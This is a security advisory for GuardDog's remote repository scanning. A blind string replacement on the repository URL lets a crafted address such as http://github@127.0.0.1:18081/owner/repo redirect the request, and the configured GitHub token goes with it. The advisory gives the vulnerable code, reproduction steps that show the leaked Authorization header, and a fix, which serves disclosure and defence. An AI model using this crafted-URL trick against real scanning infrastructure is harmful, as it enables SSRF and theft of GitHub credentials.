PT-2026-59168 · Pypi · Guarddog

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

8.2

High

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Summary

The programmatic remote project scanning path rewrites attacker-controlled repository URLs using a blind string replacement and then sends the caller's GitHub credentials with the resulting request. This allows an attacker who can influence the scanned repository URL to trigger SSRF and capture the GH TOKEN used by GuardDog.

Description

ProjectScanner.scan remote() takes a url, branch, and requirements name, then constructs a raw GitHub URL by calling:
python
githubusercontent url = url.replace("github", "raw.githubusercontent")
req url = f"{githubusercontent url}/{branch}/{requirements name}"
resp = requests.get(url=req url, auth=token)
Because this logic does not parse or validate the hostname, a crafted URL such as:
text
http://github@127.0.0.1:18081/owner/repo
is transformed into:
text
http://raw.githubusercontent@127.0.0.1:18081/owner/repo/main/requirements.txt
Requests interprets this as an HTTP request to 127.0.0.1:18081, and GuardDog includes the configured GitHub credentials via HTTP Basic Auth.

Reproduction summary

  1. Start an HTTP listener on 127.0.0.1:18081 that logs the request path and Authorization header.
  2. Set GIT USERNAME=alice and GH TOKEN=supersecret.
  3. Call PypiRequirementsScanner().scan remote("http://github@127.0.0.1:18081/owner/repo", "main", "requirements.txt").
  4. Observe a request to /owner/repo/main/requirements.txt with Authorization: Basic YWxpY2U6c3VwZXJzZWNyZXQ=.

Key code paths

  • guarddog/scanners/scanner.py:361-365

Practical impact

This can expose repository-scanning infrastructure to:
  • theft of the GitHub PAT configured in GH TOKEN
  • SSRF to internal or localhost services reachable by the scanner
  • attacker-controlled dependency file content returned by the malicious endpoint

Prior public disclosure check

As of 2026-03-18, no matching public GitHub advisory, CVE, or public repo issue was found for this specific bug.

Suggested fix

Parse the input URL, require hostname == "github.com", validate the path shape (owner/repo), build the raw URL from parsed components instead of string replacement, and never send GitHub credentials to non-GitHub hosts.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Related Identifiers

PYSEC-2026-2505

Affected Products

Guarddog